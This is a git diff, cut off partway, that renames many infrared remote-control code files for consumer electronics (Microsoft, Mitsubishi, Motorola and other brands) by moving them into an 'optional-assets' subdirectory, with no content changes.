--git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir diff --git 